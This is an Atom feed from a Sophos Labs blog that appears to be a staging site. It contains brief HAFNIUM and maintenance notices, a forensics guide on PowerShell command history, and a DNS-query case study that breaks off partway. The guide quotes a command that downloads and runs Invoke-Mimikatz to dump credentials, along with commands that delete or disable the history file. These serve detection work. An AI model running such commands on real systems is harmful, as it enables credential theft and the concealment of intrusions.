<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://stage-community-sophos-comv11.telligenthosting.net/cfs-file/__key/system/syndication/atom.xsl" media="screen"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><title type="html">Blog</title><subtitle type="html" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/atom</id><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog" /><link rel="self" type="application/atom+xml" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/atom" /><generator uri="http://telligent.com" version="12.1.9.35025">Telligent Community (Build: 12.1.9.35025)</generator><updated>2017-01-23T12:20:00Z</updated><entry><title>Information regarding HAFNIUM</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/information-regarding-hafnium" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/information-regarding-hafnium</id><published>2021-03-12T09:00:00Z</published><updated>2021-03-12T09:00:00Z</updated><content type="html">On March 2nd, zero-day vulnerabilities affecting Microsoft Exchange&amp;nbsp;&lt;a href="https://blogs.microsoft.com/on-the-issues/2021/03/02/new-nation-state-cyberattacks/" rel="noopener noreferrer" target="_blank"&gt;were publicly disclosed&lt;/a&gt;. These vulnerabilities are being actively exploited in the wild by HAFNIUM, a threat actor believed to be a nation state.
Sophos customers are protected ...(&lt;a href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/information-regarding-hafnium"&gt;read more&lt;/a&gt;)&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=851&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>Sophos</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/sophos</uri></author><category term="HAFNIUM" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/HAFNIUM" /></entry><entry><title>Scheduled maintenance for SophosLabs Intelix (US region) - January, 16th 2021 @ 0900 UTC</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/scheduled-maintenance-for-sophoslabs-intelix-us-region" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/scheduled-maintenance-for-sophoslabs-intelix-us-region</id><published>2021-01-04T12:00:00Z</published><updated>2021-01-04T12:00:00Z</updated><content type="html">SophosLabs will be performing scheduled maintenance for two hours starting January, 16th 2021 from 0900 UTC.
Date / Time
Saturday 16th&amp;nbsp;January 0900 &amp;ndash; 1100 (UTC)
Systems affected
US static and dynamic analysis environment (only)


During th...(&lt;a href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/scheduled-maintenance-for-sophoslabs-intelix-us-region"&gt;read more&lt;/a&gt;)&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=788&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>FloSupport</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/flosupport</uri></author><category term="Scheduled Maintenance" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/Scheduled%2bMaintenance" /><category term="US Region" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/US%2bRegion" /><category term="SophosLabs" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/SophosLabs" /><category term="Intelix" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/Intelix" /></entry><entry><title>Scheduled Maintenance for Intelix</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/scheduled-maintenance-for-intelix" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/scheduled-maintenance-for-intelix</id><published>2020-12-04T17:21:00Z</published><updated>2020-12-04T17:21:00Z</updated><content type="html">Scheduled maintenance for SophosLabs Intelix (EU region)
SophosLabs will be performing scheduled maintenance for two hours starting December 6th, 2020 from 0000 &amp;ndash; 0200 UTC.
During this time there may be disruption to getting status (4xx or 5xx)...(&lt;a href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/scheduled-maintenance-for-intelix"&gt;read more&lt;/a&gt;)&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=769&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>emmosophos</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/emmosophos</uri></author></entry><entry><title>PowerShell Command History Forensics</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/powershell-command-history-forensics" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/powershell-command-history-forensics</id><published>2020-08-26T11:39:00Z</published><updated>2020-08-26T11:39:00Z</updated><content type="html">&lt;div class="page" title="Page 2"&gt;
&lt;div class="layoutArea"&gt;
&lt;div class="column"&gt;
&lt;h1&gt;Contents:&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;- &lt;a href="#Overview"&gt;Overview&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#PowerShell%20and%20Windows%20Events"&gt;&lt;strong&gt;Powershell and Windows Events&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#Get-History"&gt;&lt;strong&gt;Get-History&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#Console%20History%20File"&gt;&lt;strong&gt;Console History File&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;- &lt;a href="#Adversarial%20Tactics"&gt;Adversarial&amp;nbsp;Tactics&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#Clear-History"&gt;&lt;strong&gt;Clear-History&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#Backup/Restore%20History"&gt;&lt;strong&gt;Backup/Restore Histroy&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#Delete%20History%20File"&gt;&lt;strong&gt;Delete File History&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#Change%20PSReadline%20Configuration"&gt;&lt;strong&gt;Change PSReadline Configuration&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;- &lt;a href="#Investigation%20Tips"&gt;Investigation Tips&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a id="Overview"&gt;&lt;/a&gt;Overview&lt;/h1&gt;
&lt;p style="font-weight:400;"&gt;PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;We have a separate blog which touches certain aspects of a malicious PowerShell script here -&amp;nbsp;&lt;a href="/products/malware/b/blog/posts/decoding-malicious-powershell"&gt;Decoding Malicious PowerShell Activity - A Case Study - Blog - Malware Questions - Sophos Community&lt;/a&gt;&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;A number of PowerShell-based offensive testing tools are available, including Empire,&amp;nbsp;PowerSploit, PoshC2, and&amp;nbsp;PSAttack.&lt;/p&gt;
&lt;h2&gt;&lt;a id="PowerShell and Windows Events"&gt;&lt;/a&gt;PowerShell and Windows Events&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;With Sophos EDR, you can use &amp;ldquo;PowerShell events suspected of using encoded or encrypted data&amp;rdquo; Live Discover Query. It outputs a list PowerShell processes and script block events that are suspected of using encoded or encrypted data.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/1.png"&gt;&lt;img src="/resized-image/__size/1280x960/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/1.png" alt=" " /&gt;&lt;/a&gt;On the host side of forensics, there are 3 places where we look for signs of suspicious PowerShell script or command execution whether it&amp;rsquo;s local or remote:&lt;/p&gt;
&lt;ol&gt;
&lt;li style="font-weight:400;"&gt;Application Event Logs&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li style="font-weight:400;"&gt;Event ID 7045: Adversaries often attempt to register backdoors as Windows Services as a persistence mechanism i.e. survive reboots.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/2.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/2.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;ol start="2"&gt;
&lt;li style="font-weight:400;"&gt;Windows PowerShell.evtx&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li style="font-weight:400;"&gt;Event ID 400: The engine status is changed from None to Available. This event indicates the start of a PowerShell activity, whether local or remote.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="font-weight:400;"&gt;The field &amp;lsquo;HostApplication&amp;rsquo; might display the encoded bits used such as:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;HostApplication=powershell.exe -EncodedCommand&amp;nbsp;VwByAGkAdABlAC0ASABvAHMAdAAgAC0ATwBiAGoAZQBjAHQAIAAiAEgAZQBsAGwAbwAsACAAdwBvAHIAbA BkACEAIgA7AA==&lt;/p&gt;
&lt;ul&gt;
&lt;li style="font-weight:400;"&gt;Event ID 600: indicates that providers such as&amp;nbsp;WSMan&amp;nbsp;start to perform a PowerShell activity on the system, for example, &amp;ldquo;Provider&amp;nbsp;WSMan&amp;nbsp;Is Started&amp;rdquo;.&lt;/li&gt;
&lt;li style="font-weight:400;"&gt;Event ID 403: The engine status is changed from Available to Stopped. This event records the completion of a PowerShell activity.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li style="font-weight:400;"&gt;Microsoft-Windows-PowerShell/Operational.evtx&lt;/li&gt;
&lt;/ol&gt;
&lt;p style="font-weight:400;padding-left:30px;"&gt;NOTE: This is not applicable for PowerShell 2.0&lt;/p&gt;
&lt;ul&gt;
&lt;li style="font-weight:400;"&gt;Event ID 4103: Module Logging is disabled by default. If enabled, it will record portions of scripts, some de-obfuscated code, and some data formatted for output.&lt;/li&gt;
&lt;li style="font-weight:400;"&gt;Event ID 4104: Script Block Logging is enabled by default. It records blocks of code as they are executed by the PowerShell engine, thereby capturing the full contents of code executed by an attacker, including scripts and commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/3.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/3.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;There&amp;rsquo;s a fourth place where we can potentially look from a forensics&amp;rsquo; perspective. If commands are carried out on a PowerShell console, a session history i.e. list of commands entered during the current session is saved. On PowerShell versions &amp;lt; 5, a session specific history can be identified using the Get-History command. The list is lost if the session is closed.&lt;/p&gt;
&lt;h2&gt;&lt;a id="Get-History"&gt;&lt;/a&gt;Get-History&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;The Get-History cmdlet gets the session history, that is, the list of commands entered during the current session. Beginning in Windows PowerShell 3.0, the default value is&amp;nbsp;&lt;strong&gt;4096&lt;/strong&gt;.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;PS C:\WINDOWS\system32&amp;gt;&amp;nbsp;&lt;strong&gt;Get-History&lt;/strong&gt;&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;Id&amp;nbsp;CommandLine&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;-- -----------&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;1 (Get-PSReadlineOption).HistorySavePath&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;2 ping localhost&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;3 Test-Path ((Get-PSReadlineOption).HistorySavePath)&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;4 Get-History&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;5 powershell.exe -exec bypass -C &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&amp;#39;https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1&amp;#39;);Invoke-Mimikatz -DumpCreds&amp;quot;&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&amp;nbsp;whoami&lt;/p&gt;
&lt;h2&gt;&lt;a id="Console History File"&gt;&lt;/a&gt;Console History File&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;The&amp;nbsp;PSReadline&amp;nbsp;module is installed and enabled by default starting from PowerShell v5 on Windows 10 onward. It is responsible for recording what is typed into the console. The default option is to save history to a file.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: PSReadLine is not included in the separately installed PowerShell 5 for previous versions of Windows. Thus, if you want to use the PowerShell command history functionality you will need to install the PSReadLine module separately.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;The default location of this file:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;PSReadLine requires PowerShell 3.0, or newer, and the console host. It does&amp;nbsp;&lt;u&gt;not&lt;/u&gt;&amp;nbsp;work in PowerShell ISE.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;A sample output:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/4.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/4.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;&lt;a id="Adversarial Tactics"&gt;&lt;/a&gt;Adversarial Tactics&lt;/h1&gt;
&lt;p style="font-weight:400;"&gt;Attackers have been seen to delete forensic artifacts in the form of Windows Event Logs to cover their tracks. They may also clear the command history of a compromised account to conceal the commands executed during/after a successful intrusion. We&amp;rsquo;ll discuss some of the possible tactics in detail.&lt;/p&gt;
&lt;h2&gt;&lt;a id="Clear-History"&gt;&lt;/a&gt;Clear-History&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;By default, Clear-History deletes the entire command history from a PowerShell session but it does not delete/flush the PSReadLine command history file on the disk. This tactic would be useful for attackers on PowerShell versions &amp;lt;5 on Windows 7 / 8.1 / Windows Server 2008 / R2 / 2012R2 as there is no physical file containing the command history.&lt;/p&gt;
&lt;h2&gt;&lt;a id="Backup/Restore History"&gt;&lt;/a&gt;Backup/Restore History&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;Backup the existing file with a view to restore it after. e.g.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;rename-item -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;If they use PowerShell to perform this activity will result in this action to be logged.&lt;/p&gt;
&lt;h2&gt;&lt;a id="Delete History File"&gt;&lt;/a&gt;Delete History File&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;The adversary could delete the history file from the PowerShell prompt at the end of a session:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;remove-item -force -path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt&lt;/p&gt;
&lt;h2&gt;&lt;a id="Change PSReadline Configuration"&gt;&lt;/a&gt;Change&amp;nbsp;PSReadline&amp;nbsp;Configuration&lt;/h2&gt;
&lt;p style="font-weight:400;"&gt;An adversary may change the default behaviour of the&amp;nbsp;PSReadline&amp;nbsp;configuration and prevent the history of commands being recorded.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;Set-PSReadlineOption&amp;nbsp;-HistorySaveStyle&amp;nbsp;SaveNothing&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;They could possibly re-enable it afterwards,&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;Set-PSReadlineOption&amp;nbsp;-HistorySaveStyle&amp;nbsp;SaveIncrementally&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;The act of changing the style of event history from a PS prompt would be logged.&amp;nbsp;&amp;nbsp;The presence of these commands in the history would be a red flag. It may sound like an over-kill but for the sake of completeness, it&amp;rsquo;s worthy of a mention.&lt;/p&gt;
&lt;h1&gt;&lt;a id="Investigation Tips"&gt;&lt;/a&gt;Investigation Tips&lt;/h1&gt;
&lt;p style="font-weight:400;"&gt;If you happen to stumble upon a rich ConsoleHost_history.txt like the one below, you&amp;rsquo;re in luck.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/5.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/5.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;If the last command(s) executed are surprisingly less or include:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;Set-PSReadlineOption&amp;nbsp;-HistorySaveStyle&amp;nbsp;SaveIncrementally&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;or&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -newname ConsoleHost_history_before.txt&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;or&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;Clear-History&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;or&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;ConsoleHost_history.txt&amp;nbsp;is not present on a machine.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;It could mean that the history or the file it-self has been tampered with.&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;These Indicator of Compromise [IOCs] could help us identify what might have happened:&lt;/p&gt;
&lt;ol&gt;
&lt;li style="font-weight:400;"&gt;If the file was tampered with, we would like to identify if a non-PowerShell process such as Command Prompt or Windows Explorer was used to modify/delete the history file.&lt;/li&gt;
&lt;li style="font-weight:400;"&gt;The &amp;ldquo;Creation Time&amp;rdquo; of&amp;nbsp;ConsoleHost_history.txt&amp;nbsp;is fairly recent. This could indicate that the attacker deleted the previous file and it has been automatically generated when PowerShell was executed again.&lt;/li&gt;
&lt;li style="font-weight:400;"&gt;If we recorded any process related detail which had the following command-line:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li style="font-weight:400;"&gt;-HistorySaveStyle&amp;nbsp;SaveNothin&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="font-weight:400;"&gt;The following Live Discover Query could be used prior to the investigation of the actual&amp;nbsp;ConsoleHost_history.txt&amp;nbsp;file if you suspect any modification/deletion:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;select CAST( datetime(sfj.time,&amp;#39;unixepoch&amp;#39;) AS TEXT) DATE_TIME,&lt;br /&gt;sfj.subject,&lt;br /&gt;CAST( datetime(sfj.creationtime,&amp;#39;unixepoch&amp;#39;) AS TEXT) CREATION_DATE_TIME,&lt;br /&gt;sfj.pathname,&lt;br /&gt;spj.cmdline,&lt;br /&gt;spj.sid&lt;br /&gt;from&amp;nbsp;sophos_file_journal&amp;nbsp;sfj&amp;nbsp;join&amp;nbsp;sophos_process_journal&amp;nbsp;spj&amp;nbsp;on&amp;nbsp;spj.sophosPID&amp;nbsp;=&amp;nbsp;sfj.sophosPID&lt;br /&gt;where&amp;nbsp;sfj.pathname&amp;nbsp;like &amp;#39;%ConsoleHost_history.txt&amp;#39; and&amp;nbsp;spj.cmdline&amp;nbsp;not like &amp;#39;%powershell%&amp;#39;;&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;If the file has been deleted by Explorer.exe, the output should be similar to:&lt;/p&gt;
&lt;p style="font-weight:400;"&gt;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/6.png"&gt;&lt;img src="/resized-image/__size/640x480/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/6.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="https://stage-community-sophos-comv11.telligenthosting.net/aggbug?PostID=707&amp;AppID=28&amp;AppType=Weblog&amp;ContentType=0" width="1" height="1"&gt;</content><author><name>Vikas</name><uri>https://stage-community-sophos-comV11.telligenthosting.net/members/vikas</uri></author><category term="clear-history" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/clear_2D00_history" /><category term="ConsoleHost_history.txt" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/ConsoleHost_5F00_history-txt" /><category term="psreadline" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/psreadline" /><category term="get-history" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/get_2D00_history" /><category term="console" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/console" /><category term="History" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/History" /><category term="command" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/command" /><category term="PowerShell" scheme="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/archive/tags/PowerShell" /></entry><entry><title>Malicious DNS Queries by APT - A Case Study</title><link rel="alternate" type="text/html" href="https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/malicious-dns-queries-by-apt---a-case-study-57107656" /><id>https://stage-community-sophos-comv11.telligenthosting.net/sophos-labs/b/blog/posts/malicious-dns-queries-by-apt---a-case-study-57107656</id><published>2020-05-08T10:37:00Z</published><updated>2020-05-08T10:37:00Z</updated><content type="html">&lt;p&gt;Hello Everyone,&lt;/p&gt;
&lt;p&gt;Ever got any malicious URLs? Couldn&amp;rsquo;t figure out what&amp;rsquo;s going on?&lt;/p&gt;
&lt;p&gt;This email documents&amp;nbsp;suspicious DNS query attempts which were allegedly malicious according to an Advisory shared by the Australian Government.&lt;/p&gt;
&lt;p&gt;&lt;u&gt;&lt;strong&gt;&lt;span style="font-size:150%;"&gt;Background&lt;/span&gt;:&lt;/strong&gt;&lt;/u&gt;&lt;strong&gt;&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The Australian Govt. shared an advisory with a customer which has a very competent team of IT security experts.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;a href="/cfs-file/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/2437.malware1.png"&gt;&lt;img src="/resized-image/__size/800x500/__key/communityserver-blogs-components-weblogfiles/00-00-00-00-28/2437.malware1.png" alt=" " /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The only&amp;nbsp;&lt;a title="https://www.virustotal.com/gui/file/385c8308ee965894e1b95bf1cb9e518be776485c3f09d668c9f47f7641e5420d/detection" href="https://www.virustotal.com/gui/file/385c8308ee965894e1b95bf1cb9e518be776485c3f09d668c9f47f7641e5420d/detection" target="_blank"&gt;&lt;u&gt;SHA value&lt;/u&gt;&lt;/a&gt;&amp;nbsp;mentioned in their advisory was a DLL which basically tried to download additional code from one or more C2s, allegedly the shellcode for Meterpreter so that it can establish a connection back with the attackers to&amp;nbsp;further instruct the&amp;nbsp;&lt;em&gt;listener&amp;nbsp;&lt;/em&gt;to carry out additional instructions. The URLs were all down and we could never lay hands on the&amp;nbsp;listed DLL which was not present on the machine exhibiting suspicious behaviour.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;But the customer&amp;rsquo;s network appliances were seeing a several machines trying to resolve some of the above listed URLs. Although the URLs were down, this sparked a curiosity for the customer to find out the root cause of these requests.&lt;/p&gt;
&lt;p&gt;At first I wasn&amp;rsquo;t entirely convinced that the DNS queries are&amp;nbsp;&lt;em&gt;actually&amp;nbsp;&lt;/em&gt;happening&lt;em&gt;.&amp;nbsp;&lt;/em&gt;But they were quite adamant and got me proof in the form of a live packet capture.&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;17:39:39.350792 PortA, IN: IP 172.16.100.253.25507 &amp;gt; 8.8.8.8.53: 23201+ A?&amp;nbsp;sql.juliettemeier[.]com. (39)&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;17:39:39.398681 PortA, OUT: IP 8.8.8.8.53 &amp;gt; 172.16.100.253.25507: 23201 ServFail 0/0/0 (39)&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;17:39:39.582570 PortA, IN: IP 172.16.100.253.6967 &amp;gt; 8.8.4.4.53: 22044+ A?&amp;nbsp;api.valentineharper[.]com. (41)&lt;/em&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;17:39:39.631429 PortA, OUT: IP 8.8.4.4.53 &amp;gt; 172.16.100.253.6967: 22044 ServFail 0/0/0 (41)&amp;nbsp;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;and logs from their DNS server -&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;2019-07-05 10:56:17 query (127.0.0.1 udp)&amp;nbsp;api.valentineharper[.]com&amp;nbsp;IN A&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&lt;em&gt;2019-07-05 10:56:17 local&amp;nbsp;api.valentineharper[.]com&amp;nbsp;3600 IN A 127.0.0.1&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-size:150%;"&gt;&lt;u&gt;&lt;strong&gt;Investigation:&lt;/strong&gt;&lt;/u&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Malware Avengers, assemble &amp;ndash;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Autoruns&lt;/strong&gt;&amp;nbsp;&amp;ndash; I couldn&amp;rsquo;t spot any suspicious malware load-points under Run Keys, Scheduled Tasks or WMI.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Process Monitor&lt;/strong&gt;&amp;nbsp;&amp;ndash; Surprisingly, this tool did not help me with the process which was sending out the UDP REQUEST packets for a DNS resolution of the malicious URLs in question.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Wireshark&lt;/strong&gt;&amp;nbsp;&amp;ndash; This tool is process agnostic, hence I could only see and confirm the attempts of reaching out to the URLs in question.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sysmon&lt;/strong&gt;&amp;nbsp;&amp;ndash; The latest DNS logging feature in v10 of this tool wasn&amp;rsquo;t applicable for Windows 7.. drat.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Netmon&amp;nbsp;&lt;/strong&gt;&amp;ndash; Same story as Wireshark &amp;ndash; Ideally, we should&amp;rsquo;ve been able to identify the process behind the DNS requests but I&amp;rsquo;m suspecting the resolution failure to be a cause of incomplete logging.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The machine was protected with Sophos Enterprise Console which has been deemed obsolete and we are advising customers to migrate towards Sophos Central.&lt;/p&gt;
&lt;p&gt;So the constant to and fro of these logs and evidences were not getting us anywhere. Desperation kicked in and&amp;nbsp;I decided to do what we call Deep Dive IR/Threat Hunting. This is not a general course of action but as the advisory was shared by the AU government themselves for the Automotive Industry coupled with the fact that this customer is an automotive firm, I decided to go at this malware all guns blazing.&amp;nbsp;&lt;/p&gt;
